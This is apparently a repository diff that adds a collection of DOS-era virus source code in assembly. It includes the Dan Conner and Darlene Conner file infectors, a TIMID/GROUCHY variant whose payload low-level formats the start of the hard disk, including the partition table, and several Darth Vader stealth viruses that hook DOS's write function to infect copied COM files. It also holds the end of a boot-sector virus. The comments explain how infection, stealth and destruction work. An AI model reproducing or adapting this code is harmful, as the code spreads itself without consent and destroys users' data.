cmp cx,FIRST_SECTOR
jne jmp_old_int_13
cmp dh,cl
ja jmp_old_int_13
pusha
int BIOS_INT_13
jc not_boot_sect
mov ax,0efe8h
xchg word ptr es:[bx+048h],ax
cmp ax,078bbh
jne not_boot_sect
mov di,bx
add di,offset old_jz-COM_OFFSET
cmp bh,high(BOOT_OFFSET)
pushf
jne no_key_press
mov byte ptr es:[di+00ch],RETURN_NEAR
pusha
call near ptr hit_any_key
popa
no_key_press: mov ax,WRITE_A_SECTOR
mov si,LOW_CODE
call move_to_boot
inc cx
int BIOS_INT_13
popf
je restart_it
not_boot_sect: popa
interrupt_13 endp
;-----------------------------------------------------------------------------
org 001e5h+COM_OFFSET
jmp_old_int_13: jmp far ptr original_int_13
;-----------------------------------------------------------------------------
buffer db SECTOR_SIZE dup (0)
;-----------------------------------------------------------------------------
org 07cedh-LOW_CODE+offset old_jz
hit_any_key label word
;-----------------------------------------------------------------------------
da_boys endp
cseg ends
end com_code
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+121
View File
@@ -0,0 +1,121 @@
; Dan Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M dan.asm
;---------
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
start:
db 0e9h,0,0 ; Jump to the next command
virus:
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [oldint24],bx ; Save it
mov word ptr [oldint24+2],es
mov ah,25h ; Set new int 24 handler
mov dx,offset int24 ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov dx,offset comfilespec
call findfirst
mov ah,9 ; Display string
mov dx,offset virusname
int 21h
mov ax,2524h ; Restore int 24 handler
mov dx,offset oldint24 ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
int 20h ; quit program
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
quitinfect:
ret
FinishInfection:
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write virus to file
mov cx,eof-virus ; Size of virus
mov dx,100
int 21h
closefile:
mov ax,5701h ; Set files date/time back
push bx
mov cx,word ptr [bx]+16h ; Get old time from dta
mov dx,word ptr [bx]+18h ; Get old date
pop bx
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov bx,80h
mov cl,byte ptr [bx]+15h ; Get old Attributes
call attributes
retn
open:
mov ah,3dh ; open file
mov dx,80h+30
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
mov dx,80h+30
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Dan Conner - Anything You Say Dear...',10,13
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13 ; Please do not remove this
db 'Hey: I LOVE ROSEANNE!','$'
comfilespec db '*.com',0 ; Holds type of file to look for
eof equ $ ; Marks the end of file
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
+284
View File
@@ -0,0 +1,284 @@
;This program is a virus that infects all files, not just executables. It gets
;the first five bytes of its host and stores them elsewhere in the program and
;puts a jump to it at the start, along with the letters "GR", which are used to
;by the virus to identify an already infected program. The virus also save
;target file attributes and restores them on exit, so that date & time stamps
;aren't altered as with ealier TIMID\GROUCHY\T-HEH variants.
;when it runs out of philes to infect, it will do a low-level format of the HDD
;starting with the partition table.
MAIN SEGMENT BYTE
ASSUME CS:MAIN,DS:MAIN,SS:NOTHING
ORG 100H
;This is a shell of a program which will release the virus into the system.
;All it does is jump to the virus routine, which does its job and returns to
;it, at which point it terminates to DOS.
HOST:
jmp NEAR PTR VIRUS_START ;Note: MASM is too stupid to assemble this correctly
db 'GR'
mov ah,4CH
mov al,0
int 21H ;terminate normally with DOS
VIRUS: ;this is a label for the first byte of the virus
COMFILE DB '*.*',0 ;search string for any file
DSTRY DB 0,0,0,2, 0,0,1,2, 0,0,2,2, 0,0,3,2, 0,0,4,2, 0,0,5,2, 0,0,6,2, 0,0,7,2, 0,0,8,2, 0,0,9,2, 0,0,10,2, 0,0,11,2, 0,0,12,2, 0,0,13,2, 0,0,14,2, 0,0,15,2, 0,0,16,2
FATTR DB 0
FTIME DW 0
FDATE DW 0
VIRUS_START:
call GET_START ;get start address - this is a trick to determine the location of the start of this program
GET_START: ;put the address of GET_START on the stack with the call,
sub WORD PTR [VIR_START],OFFSET GET_START - OFFSET VIRUS ;which is overlayed by VIR_START. Subtract offsets to get @VIRUS
mov dx,OFFSET DTA ;put DTA at the end of the virus for now
mov ah,1AH ;set new DTA function
int 21H
call FIND_FILE ;get a file to attack
jnz DESTROY ;returned nz - go to destroy routine
call SAV_ATTRIB
call INFECT ;have a good file to use - infect it
call REST_ATTRIB
EXIT_VIRUS:
mov dx,80H ;fix the DTA so that the host program doesn't
mov ah,1AH ;get confused and write over its data with
int 21H ;file i/o or something like that!
mov bx,[VIR_START] ;get the start address of the virus
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)] ;restore the 5 original bytes
mov WORD PTR [HOST],ax ;of the COM file to their
mov ax,WORD PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+2] ;to the start of the file
mov WORD PTR [HOST+2],ax
mov al,BYTE PTR [bx+(OFFSET START_CODE)-(OFFSET VIRUS)+4] ;to the start of the file
mov BYTE PTR [HOST+4],al
mov [VIR_START],100H ;set up stack to do return to host program
ret ;and return to host
START_CODE: ;move first 5 bytes from host program to here
nop ;nop's for the original assembly code
nop ;will work fine
nop
nop
nop
;--------------------------------------------------------------------------
DESTROY:
mov AH,05H ;format hard disk starting at sector
mov DL,80H ;0 and continuing through sector 16
mov DH,0H ;this should wipe out the master boot
mov CX,0000H ;record & partition table
mov AL,11H ;low-level format information stored
mov BX,OFFSET DSTRY ;at this OFFSET in the syntax 1,2,3,4,
int 13H ;where 1=track number,2=head number,3=sector number
;and 4=bytes/sector with 2=512 bytes/sector
ret
;---------------------------------------------------------------------------
;---------------------------------------------------------------------------
;-----------------------------------------------------------------------------
;Find a file which passes FILE_OK
;
;This routine does a simple directory search to find a COM file in the
;current directory, to find a file for which FILE_OK returns with C reset.
;
FIND_FILE:
mov dx,[VIR_START]
add dx,OFFSET COMFILE - OFFSET VIRUS ;this is zero here, so omit it
mov cx,3FH ;search for any file, no matter what the attributes
mov ah,4EH ;do DOS search first function
int 21H
FF_LOOP:
or al,al ;is DOS return OK?
jnz FF_DONE ;no - quit with Z reset
call FILE_OK ;return ok - is this a good file to use?
jz FF_DONE ;yes - valid file found - exit with z set
mov ah,4FH ;not a valid file, so
int 21H ;do find next function
jmp FF_LOOP ;and go test next file for validity
FF_DONE:
ret
;--------------------------------------------------------------------------
;Function to determine whether the file specified in FNAME is useable.
;if so return z, else return nz.
;What makes a phile useable?:
; a) There must be space for the virus without exceeding the
; 64 KByte file size limit.
; b) Bytes 0, 3 and 4 of the file are not a near jump op code,
; and 'G', 'R', respectively
;
FILE_OK:
mov ah,43H ;the beginning of this
mov al,0 ;routine gets the file's
mov dx,OFFSET FNAME ;attribute and changes it
int 21H ;to r/w access so that when
mov [FATTR],cl ;it comes time to open the
mov ah,43H ;file, the virus can easily
mov al,1 ;defeat files with a 'read only'
mov dx,OFFSET FNAME ;attribute. It leaves the file r/w,
mov cl,0 ;because who checks that, anyway?
int 21H
mov dx,OFFSET FNAME
mov al,2
mov ax,3D02H ;r/w access open file, since we'll want to write to it
int 21H
jc FOK_NZEND ;error opening file - quit and say this file can't be used (probably won't happen)
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;next read 5 bytes at the start of the program
mov dx,OFFSET START_IMAGE ;and store them here
mov ah,3FH ;DOS read function
int 21H
pop bx ;restore the file handle
mov ah,3EH
int 21H ;and close the file
mov ax,WORD PTR [FSIZE] ;get the file size of the host
add ax,OFFSET ENDVIRUS - OFFSET VIRUS ;and add the size of the virus to it
jc FOK_NZEND ;c set if ax overflows, which will happen if size goes above 64K
cmp BYTE PTR [START_IMAGE],0E9H ;size ok - is first byte a near jump op code?
jnz FOK_ZEND ;not a near jump, file must be ok, exit with z set
cmp WORD PTR [START_IMAGE+3],5247H ;ok, is 'GR' in positions 3 & 4?
jnz FOK_ZEND ;no, file can be infected, return with Z set
FOK_NZEND:
mov al,1 ;we'd better not infect this file
or al,al ;so return with z reset
ret
FOK_ZEND:
xor al,al ;ok to infect, return with z set
ret
;--------------------------------------------------------------------------
SAV_ATTRIB:
mov ah,43H
mov al,0
mov dx,OFFSET FNAME
int 21H
mov [FATTR],cl
mov ah,43H
mov al,1
mov dx, OFFSET FNAME
mov cl,0
int 21H
mov dx,OFFSET FNAME
mov al,2
mov ah,3DH
int 21H
mov [HANDLE],ax
mov ah,57H
xor al,al
mov bx,[HANDLE]
int 21H
mov [FTIME],cx
mov [FDATE],dx
mov ax,WORD PTR [DTA+28]
mov WORD PTR [FSIZE+2],ax
mov ax,WORD PTR [DTA+26]
mov WORD PTR [FSIZE],ax
ret
;------------------------------------------------------------------
REST_ATTRIB:
mov dx,[FDATE]
mov cx, [FTIME]
mov ah,57H
mov al,1
mov bx,[HANDLE]
int 21H
mov ah,3EH
mov bx,[HANDLE]
int 21H
mov cl,[FATTR]
xor ch,ch
mov ah,43H
mov al,1
mov dx,OFFSET FNAME
int 21H
mov ah,31H ;terminate/stay resident
mov al,0 ;and set aside 50 16-byte
mov dx,0032H ;pages in memory, just
int 21H ;to complicate things for the user
;they might not notice this too quick!
ret
;---------------------------------------------------------------------------
;This routine moves the virus (this program) to the end of the file
;Basically, it just copies everything here to there, and then goes and
;adjusts the 5 bytes at the start of the program and the five bytes stored
;in memory.
;
INFECT:
xor cx,cx ;prepare to write virus on new file; positon file pointer
mov dx,cx ;cx:dx pointer = 0
mov bx,WORD PTR [HANDLE]
mov ax,4202H ;locate pointer to end DOS function
int 21H
mov cx,OFFSET FINAL - OFFSET VIRUS ;now write the virus; cx=number of bytes to write
mov dx,[VIR_START] ;ds:dx = place in memory to write from
mov bx,WORD PTR [HANDLE] ;bx = file handle
mov ah,40H ;DOS write function
int 21H
xor cx,cx ;now we have to go save the 5 bytes which came from the start of the
mov dx,WORD PTR [FSIZE] ;so position the file pointer
add dx,OFFSET START_CODE - OFFSET VIRUS ;to where START_CODE is in the new virus
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;and use DOS to position the file pointer
int 21H
mov cx,5 ;now go write START_CODE in the file
mov bx,WORD PTR [HANDLE] ;get file handle
mov dx,OFFSET START_IMAGE ;during the FILE_OK function above
mov ah,40H
int 21H
xor cx,cx ;now go back to the start of host program
mov dx,cx ;so we can put the jump to the virus in
mov bx,WORD PTR [HANDLE]
mov ax,4200H ;locate file pointer function
int 21H
mov bx,[VIR_START] ;calculate jump location for start of code
mov BYTE PTR [START_IMAGE],0E9H ;first the near jump op code E9
mov ax,WORD PTR [FSIZE] ;and then the relative address
add ax,OFFSET VIRUS_START-OFFSET VIRUS-3 ;these go in the START_IMAGE area
mov WORD PTR [START_IMAGE+1],ax
mov WORD PTR [START_IMAGE+3],5247H ;and put 'GR' ID code in
mov cx,5 ;ok, now go write the 5 bytes we just put in START_IMAGE
mov dx,OFFSET START_IMAGE ;ds:dx = pointer to START_IMAGE
mov bx,WORD PTR [HANDLE] ;file handle
mov ah,40H ;DOS write function
int 21H
ret ;all done, the virus is transferred
FINAL: ;label for last byte of code to be kept in virus when it moves
ENDVIRUS EQU $ + 212 ;label for determining space needed by virus
;Note: 212 = FFFF - FF2A - 1 = size of data space
; $ gives approximate size of code required for virus
ORG 0FF2AH
DTA DB 1AH dup (?) ;this is a work area for the search function
FSIZE DW 0,0 ;file size storage area
FNAME DB 13 dup (?) ;area for file path
HANDLE DW 0 ;file handle
START_IMAGE DB 0,0,0,0,0 ;an area to store 3 bytes for reading and writing to file
VSTACK DW 50H dup (?) ;stack for the virus program
VIR_START DW (?) ;start address of VIRUS (overlays the stack)
MAIN ENDS
END HOST
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large Load Diff
+171
View File
@@ -0,0 +1,171 @@
; þ RonMail 1.0 þ Programmer's Inn - Home of FeatherNet (619)-446-4506
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:06) Number: 3556
;From: AHMED DOGAN Refer#: NONE
; To: ALL Recvd: NO
;Subj: DARTH VADER Conf: (16) VIRUS
;---------------------------------------------------------------------------
;*********************************************************************
;**********
;*
;*
;* D A R T H V A D E R IV
;*
;*
;*
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia
;*
;* All Rights Reserved
;*
;*
;&
;* Enchanced by: Lazy Wizard
;&
;*
;&
;* Turbo Assembler 2.0
;&
;*
;&
;*********************************************************************
;**********
.model tiny
.code
org 100h
Start:
call NextLine
First3:
int 20h
int 3
NextLine:
pop bx
push ax
xor di,di
mov es,di
mov es,es:[2Bh*4+2]
mov cx,1000h
call SearchZero
jc ReturnControl
xchg ax,si
inc si
SearchTable:
dec si
db 26h
lodsw
cmp ax,8B2Eh
jne SearchTable
db 26h
lodsb
cmp al,75h
je ReturnControl
cmp al,9Fh
jne SearchTable
mov si,es:[si]
mov cx,LastByte-Start
lea ax,[di+Handle-Start]
org $-1
xchg ax,es:[si+80h]
sub ax,di
sub ax,cx
mov [bx+OldWrite-Start-2],ax
mov word ptr [bx+NewStart+1-Start-3],di
lea si,[bx-3]
rep movsb
ReturnControl:
pop ax
push ss
pop es
mov di,100h
lea si,[bx+First3-Start-3]
push di
movsw
movsb
ret
SearchZero:
xor ax,ax
inc di
push cx
push di
mov cx,(LastByte-Start-1)/2+1
repe scasw
pop di
pop cx
je FoundPlace
loop SearchZero
stc
FoundPlace:
ret
Handle:
push bp
call NextHandle
NextHandle:
;===========================================================================
; BBS: The Programmer's Inn
;Date: 11-24-91 (20:06) Number: 3557
;From: AHMED DOGAN Refer#: NONE
; To: ALL Recvd: NO
;Subj: DARTH VADER <CONT> Conf: (16) VIRUS
;---------------------------------------------------------------------------
pop bp
push es
push ax
push bx
push cx
push si
push di
test ch,ch
je Do
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh
cmp es:[di+29h],'MO'
jne Do
cmp word ptr es:[di+15h],0
jne Do
push ds
pop es
mov di,dx
mov ax,[di]
mov [bp+First3-NextHandle],ax
mov al,[di+2]
mov [bp+First3+2-NextHandle],al
call SearchZero
jc Do
push di
NewStart:
mov si,0
mov cx,(LastByte-Start-1)/2
cli
rep
db 36h
movsw
sti
mov di,dx
mov al,0E9h
stosb
pop ax
sub ax,di
dec ax
dec ax
stosw
Do:
pop di
pop si
pop cx
pop bx
pop ax
pop es
pop bp
OldWrite:
jmp start
LastByte label byte
end Start
+317
View File
@@ -0,0 +1,317 @@
; Darlene Conner written by MuTaTiON INTERRUPT
; To compile this use TASM /M darlene.asm
code segment public 'code'
assume cs:code
org 100h ; All .COM files start here
ID = 'AB' ; Id for infected files
start:
db 0e9h,0,0 ; Jump to the next command
virus:
call realcode ; Push current location on stack
realcode:
nop
nop
pop bp ; Get location off stack
sub bp,offset realcode ; Adjust it for our pointer
nop
nop
cmp sp,id ; COM or EXE?
je restoreEXE
lea si,[bp+offset oldjump] ; Location of old jump in si
mov di,100h ; Location of where to put it in di
push di ; Save so we could just return when done
movsb ; Move a byte
movsw ; Move a word
jmp exitrestore
restoreEXE:
push ds ; Save ExE ds
push es ; Save ExE es
push cs
pop ds ; DS now equals CS
push cs
pop es ; ES now equals CS
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
movsw ; Move a word
ExitRestore:
lea dx,[bp+offset dta] ; Where to put New DTA
call set_DTA ; Move it
mov ax,3524h ; Get int 24 handler
int 21h ; To ES:BX
mov word ptr [bp+oldint24],bx ; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
mov ah,47h ; Get the current directory
mov dl,0h ; On current drive
lea si,[bp+offset currentdir] ; Where to keep it
int 21h
dirloop:
lea dx,[bp+offset exefilespec]
call findfirst
lea dx,[bp+offset comfilespec]
call findfirst
lea dx,[bp+offset directory] ; Where to change too '..'
mov ah,3bh ; Change directory
int 21h
jnc dirloop ; If no problems the look for files
mov ah,9 ; Display string
lea dx,[bp+virusname]
int 21h
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; To original
int 21h
push cs
pop ds ; Do this because the DS gets changed
lea dx,[bp+offset currentdir] ; Location Of original dir
mov ah,3bh ; Change to there
int 21h
mov dx,80h ; Location of original DTA
call set_dta ; Put it back there
cmp sp,id-4 ; EXE or COM?
jz returnEXE
retn ; Return to 100h to original jump
ReturnEXE:
pop es ; Get original ES
pop ds ; Get original DS
mov ax,es
add ax,10h
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear int's because of stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; Jump ssss:oooo
jmpsave dd ? ; Jump location
stacksave dd ? ; Original cs:ip
jmpsave2 dd 0fff00000h ; Used with carrier file
stacksave2 dd ?
findfirst:
mov ah,4eh ; Find first file
mov cx,7 ; Find all attributes
findnext:
int 21h ; Find first/next file int
jc quit ; If none found then change dir
call infection ; Infect that file
Findnext2:
mov ah,4fh ; Find next file
jmp findnext ; Jump to the loop
quit:
ret
infection:
mov ax,3d00h ; Open file for read only
call open
mov ah,3fh ; Read from file
mov cx,1ah
lea dx,[bp+offset buffer] ; Location to store them
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM' ; EXE?
jz checkEXE ; Why yes, yes it is!
mov ax,word ptr [bp+DTA+35] ; Get end of file name in ax
cmp ax,'DN' ; Does End in comma'ND'? (reverse order)
jz quitinfect ; Yup so get another file
CheckCom:
mov bx,[bp+offset dta+1ah] ; Get file size
mov cx,word ptr [bp+buffer+1] ; Get jump loc of file
add cx,eof-virus+3 ; Add for virus size
cmp bx,cx ; Does file size=file jump+virus size
jz quitinfect ; Yup then get another file
jmp infectcom
CheckExe:
cmp word ptr [bp+buffer+10h],id ; Check EXE for infection
jz quitinfect ; Already infected so close up
jmp infectexe
quitinfect:
ret
InfectCom:
sub bx,3 ; Adjust for new jump
lea si,[bp+buffer]
lea di,[bp+oldjump]
movsw
movsb
mov [bp+buffer],byte ptr 0e9h
mov word ptr [bp+buffer+1],bx ; Save for later
mov cx,3 ; Number of bytes to write
jmp finishinfection
InfectExe:
les ax,dword ptr [bp+buffer+14h] ; Load es with seg address
mov word ptr [bp+jmpsave2],ax ; save old cs:ip
mov word ptr [bp+jmpsave2+2],es
les ax,dword ptr [bp+buffer+0eh] ; save old ss:sp
mov word ptr [bp+stacksave2],es ; save old cs:ip
mov word ptr [bp+stacksave2+2],ax
mov ax, word ptr [bp+buffer+8] ; get header size
mov cl,4
shl ax,cl
xchg ax,bx
les ax,[bp+offset DTA+26] ; get files size from dta
mov dx,es ; its now in dx:ax
push ax ; save these
push dx
sub ax,bx ; subtract header size from fsize
sbb dx,0 ; subtract the carry too
mov cx,10h ; convert to segment:offset form
div cx
mov word ptr [bp+buffer+14h],dx ; put in new header
mov word ptr [bp+buffer+16h],ax ; cs:ip
mov word ptr [bp+buffer+0eh],ax ; ss:sp
mov word ptr [bp+buffer+10h],id ; put id in for later
pop dx ; get the file length back
pop ax
add ax,eof-virus ; add virus size
adc dx,0 ; add with carry
mov cl,9 ; calculates new file size
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr [bp+buffer+4],dx ; save new file size in header
mov word ptr [bp+buffer+2],ax
push cs ; es = cs
pop es
mov cx,1ah ; Number of bytes to write (Header)
FinishInfection:
push cx ; save # of bytes to write
xor cx,cx ; Set attriutes to none
call attributes
mov al,2 ; open file read/write
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Location of bytes
pop cx ; Get number of bytes to write
int 21h
jc closefile
mov al,02 ; Move Fpointer to eof
Call move_fp
mov ah,40h ; Write virus to file
mov cx,eof-virus ; Size of virus
lea dx,[bp+offset virus] ; Location to start from
int 21h
closefile:
mov ax,5701h ; Set files date/time back
mov cx,word ptr [bp+dta+16h] ; Get old time from dta
mov dx,word ptr [bp+dta+18h] ; Get old date
int 21h
mov ah,3eh ; Close file
int 21h
xor cx,cx
mov cl,byte ptr [bp+dta+15h] ; Get old Attributes
call attributes
retn
move_fp:
mov ah,42h ; Move file pointer
xor cx,cx ; Al has location
xor dx,dx ; Clear these
int 21h
retn
set_dta:
mov ah,1ah ; Move the DTA location
int 21h
retn
open:
mov ah,3dh ; open file
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
xchg ax,bx ; file handle in bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+DTA+30] ; filename in DTA
int 21h
ret
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return from int 24 call
Virusname db 'Darlene Conner - Basketball Anyone?',10,13 ; Name Of The Virus
Author db 'MuTaTiON INTERRUPT',10,13 ; Author Of This Virus
Made_with db '[NOVEMBER 1994]',10,13,'$' ; Please do not remove this
comfilespec db '*.com',0 ; Holds type of file to look for
exefilespec db '*.exe',0 ; Holds type of file to look for
directory db '..',0 ; Directory to change to
oldjump db 0cdh,020h,0h ; Old jump. Is int 20h for file quit
eof equ $ ; Marks the end of file
currentdir db 64 dup (?) ; Holds the current dir
dta db 42 dup (?) ; Location of new DTA
buffer db 1ah dup (?) ; Holds exe header
oldint24 dd ? ; Storage for old int 24h handler
code ends
end start
+151
View File
@@ -0,0 +1,151 @@
;******************************************************************************
;* *
;* D A R T H V A D E R IV *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* Enchanced by: Lazy Wizard *
;* *
;* Turbo Assembler 2.0 *
;* *
;******************************************************************************
.model tiny
.code
org 100h
Start:
call NextLine
First3:
int 20h
int 3
NextLine:
pop bx
push ax
xor di,di
mov es,di
mov es,es:[2Bh*4+2]
mov cx,1000h
call SearchZero
jc ReturnControl
xchg ax,si
inc si
SearchTable:
dec si
db 26h
lodsw
cmp ax,8B2Eh
jne SearchTable
db 26h
lodsb
cmp al,75h
je ReturnControl
cmp al,9Fh
jne SearchTable
mov si,es:[si]
mov cx,LastByte-Start
lea ax,[di+Handle-Start]
org $-1
xchg ax,es:[si+80h]
sub ax,di
sub ax,cx
mov [bx+OldWrite-Start-2],ax
mov word ptr [bx+NewStart+1-Start-3],di
lea si,[bx-3]
rep movsb
ReturnControl:
pop ax
push ss
pop es
mov di,100h
lea si,[bx+First3-Start-3]
push di
movsw
movsb
ret
SearchZero:
xor ax,ax
inc di
push cx
push di
mov cx,(LastByte-Start-1)/2+1
repe scasw
pop di
pop cx
je FoundPlace
loop SearchZero
stc
FoundPlace:
ret
Handle:
push bp
call NextHandle
NextHandle:
pop bp
push es
push ax
push bx
push cx
push si
push di
test ch,ch
je Do
mov ax,1220h
int 2Fh
mov bl,es:[di]
mov ax,1216h
int 2Fh
cmp es:[di+29h],'MO'
jne Do
cmp word ptr es:[di+15h],0
jne Do
push ds
pop es
mov di,dx
mov ax,[di]
mov [bp+First3-NextHandle],ax
mov al,[di+2]
mov [bp+First3+2-NextHandle],al
call SearchZero
jc Do
push di
NewStart:
mov si,0
mov cx,(LastByte-Start-1)/2
cli
rep
db 36h
movsw
sti
mov di,dx
mov al,0E9h
stosb
pop ax
sub ax,di
dec ax
dec ax
stosw
Do:
pop di
pop si
pop cx
pop bx
pop ax
pop es
pop bp
OldWrite:
jmp start
LastByte label byte
end Start
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+164
View File
@@ -0,0 +1,164 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R - stealth virus *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT *
;* All Rights Reserved *
;* *
;* Virus infect ANY com file exept COMMAND.COM. He use iternal DOS *
;* dispatcher for int21 functions, so it cannot be stoped by programs *
;* like ANTI4US etc... He also cannot be stoped by disk lock utilities *
;* because the virus use WRITE function (40h) of DOS' int21. *
;* Always when you copy COM file with DOS' 'copy' command or PCTools *
;* class programm, you will receive infected (destroyed) copy of file *
;* Infected file won't work, but the virus WILL *
;* *
;* Waleri Todorov *
;* *
;*******************************************************************************
nop ; Dummy NOPs. Required
nop
mov ah,30h ; Get DOS version
int 21h
cmp al,5 ; If DOS is NOT 5.X
jb OkDOS ; Continue
Exit ; else terminate
int 20h
OkDos
mov ax,1203h ; Get DOS segment
int 2fh ; Via interrupt 2F (undocumented)
mov si,9000h ; Set ES to 9000
mov es,si ; Usualy this area is fill with zeros
xor si,si ; SI=0
Next
inc si ; Next byte
cmp si,0F00h ; If SI==0xF00
ja Exit ; Then no place found and exit to DOS
push si ; else Save SI in stack
xor di,di ; ES:DI == 9000:0000
mov cx,offset lastbyte-100h ; Will check virus size
repe cmpsb ; Check until equal
jcxz Found ; if CX==0 then place is found
pop si ; else restore SI from stack
jmp short Next ; and go search next byte
Found
pop di ; Restore saved SI to DI
mov cs:MyPlace,di ; Save new offset in DOS segment
mov [2],di ; at DOSSEG:0002
mov si,100h ; SI will point beginning in file
push ds ; Save DS
push ds ; Set ES equal to DS
pop es ;
push cs ; Set DS=CS
pop ds ;
mov cx,offset LastByte-100h ; Will move virus size only
rep movsb ; Do move
pop ds ; Restore DS (point to DOSSEG)
push si ; From this place will search DOS table
NextTable
pop si ;
inc si ; Next byte
jz Exit ; If segment end then exit
push si ; Save SI
lodsw ; Load AX from DS:SI
xchg ax,bx ; Put AX in BX
lodsb ; and load AL from DS:SI
cmp bx,8B2Eh ; Check for special bytes
jne NextTable ; in AL and BX
cmp al,9Fh
jne NextTable ; If not match -> search next byte
FoundTable
lodsw ; Else load table address to AX
xchg ax,bx ; Put table address to BX
mov si,[bx+80h] ; Load current offset of 40h function
mov di,offset Handle ; Put its offset to DI
mov cx,5 ; Will check 5 bytes only
push cs ; ES:DI point handling of 40 in file
pop es
repe cmpsb ; Check if DS:SI match to ES:DI
jcxz Exit ; If match -> virus is here -> Exit
mov ax,[bx+80h] ; else load offset of function 40
mov [4],ax ; And save it to DOSSEG:0004
mov ax,offset Handle-100h ; Load absolute address of
add ax,cs:MyPlace ; new handler and adjust its location
mov [bx+80h],ax ; Store new address in DOS table
int 20h ; Now virus is load and active
Handle ; Handle function 40h of int 21
push ax ; Save important registers
push bx
push cx
push ds
push es
push si
push di
cmp cx,270d ; Check if write less than virus size
jb Do ; If so -> write with no infection
mov cs:[0C00h],ds ; Save buffer segment in DOSSEG:0C00
mov cs:[0C02h],dx ; Save buffer offset in DOSSEG:0C02
mov ax,1220h ; Get number of File Handle table
int 2fh ; Via int 2F (undocumented)
mov bl,es:[di] ; Load number to BL
mov ax,1216h ; Get File Handle table address
int 2fh ; Via int 2F (undocumented)
push di ; Save table offset
add di,20h ; Now offset point to NAME of file
push cs ; DS now will point in virus
pop ds
mov si,offset Command-100h ; Address of string COMM
add si,cs:[2] ; Adjust for different offset in DOS
mov cx,4 ; Check 4 bytes
repe cmpsb ; Do check until equal
pop di ; Restore address of table
jcxz Do ; If match -> file is COMMand.XXX
add di,28h ; Else DI point to EXTENSION of file
mov si,offset Com-100h ; Address of string COM
add si,cs:[2] ; Adjust for different offset in DOS
mov cx,3 ; Check 3 bytes
repe cmpsb ; Do check until equal
jne Do ; If NOT *.COM file -> write normal
mov di,cs:[0C02h] ; Else restore data buffer from
mov es,cs:[0C00h] ; DOSSEG:0C00 & DOSSEG:0C02
mov si,cs:[2] ; Get virus start offset
mov cx,offset LastByte-100 ; Will move virus only
rep movsb ; Move its code in data to write
; Now virus is placed in data buffer of COPY command or PCTools etc...
; When they write to COM file they write virus either
Do
pop di ; Restore importatnt registers
pop si
pop es
pop ds
pop cx
pop bx
pop ax
db 36h,0FFh,16h,4,0 ; CALL SS:[4] (call original 40)
ret ; Return to caller (usualy DOS)
Command db 'COMM' ; String for check COMMand.XXX
Com db 'COM' ; String for check *.COM
db 'Darth Vader' ; Signature
LastByte nop ; Mark to calculate virus size
MyPlace
dw 0 ; Temporary variable. Not writed

+227
View File
@@ -0,0 +1,227 @@
;*******************************************************************************
;* *
;* D A R T H V A D E R ][ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the second release of Darth Vader virus. Now he infect only *
